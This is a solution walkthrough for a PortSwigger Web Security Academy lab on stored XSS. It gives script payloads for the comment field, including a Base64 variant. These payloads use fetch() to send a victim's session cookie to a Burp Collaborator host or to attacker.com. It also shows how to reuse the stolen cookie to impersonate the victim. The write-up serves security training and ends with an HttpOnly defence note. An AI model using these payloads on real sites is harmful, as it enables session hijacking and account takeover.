Exploiting XSS steal cookies
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Practitioner |
| Vulnerability | Stored XSS — Cookie Exfiltration via Fetch + Burp Collaborator |
| Injection Point | Comment field |
| Goal | Steal the victim's session cookie via out-of-band HTTP request |
Lab — Stored XSS: Cookie Exfiltration via Fetch + Burp Collaborator¶
Solution Walkthrough¶
The comment field is not sanitized. Confirming with a basic payload:
<script>alert(document.cookie)</script>
The alert shows our own session cookie — the sink is confirmed. Now the goal is to make the victim's browser send their cookie to a server we control.
Step 1 — Confirm out-of-band delivery works¶
Posting a comment that sends a fetch request to Burp Collaborator:
<script>fetch("https://COLLABORATOR-SUBDOMAIN.oastify.com")</script>
Polling Collaborator confirms an incoming request:
The victim's browser is reaching our Collaborator server.
Step 2 — Exfiltrate the session cookie¶
Appending document.cookie as a URL parameter so it arrives in the Collaborator request log:
<script>
fetch("https://COLLABORATOR-SUBDOMAIN.oastify.com/?cookie=" + document.cookie)
</script>
The Collaborator request shows the cookie value in the URL:
Step 3 — Use the stolen cookie to impersonate the victim¶
Opening DevTools → Application → Cookies, replacing the session cookie value with the stolen one, then refreshing the page:
Logged in as the victim. Lab solved :P
Best Practice — Base64-encode the cookie¶
To avoid issues with special characters in the cookie value breaking the URL:
<script>
fetch("https://COLLABORATOR-SUBDOMAIN.oastify.com/?cookie=" + btoa(document.cookie))
</script>
btoa() encodes the cookie as Base64 — safe to transmit in a URL parameter. Decode it in Collaborator with atob() or a Base64 decoder:
How fetch() Enables Cookie Exfiltration¶
fetch() is a modern JavaScript API for making HTTP requests from the browser. Unlike alert() which only displays data locally, fetch() sends data to an external server:
// alert — data stays in the browser
alert(document.cookie)
// fetch — data leaves the browser
fetch("https://attacker.com/?data=" + document.cookie)
When the stored XSS payload executes in the victim's browser:
- The victim's browser runs
fetch()in the context of the victim's session document.cookiereturns the victim's cookies (those withoutHttpOnly)- The cookie value is appended to the URL as a query parameter
- The browser makes an outbound HTTP GET request to the Collaborator server
- The Collaborator server logs the full URL — including the cookie value
[!note] This attack only captures cookies without the
HttpOnlyflag. Cookies markedHttpOnlyare not accessible viadocument.cookie— they are sent automatically with HTTP requests but cannot be read by JavaScript. This is exactly whyHttpOnlyis a critical security attribute for session cookies.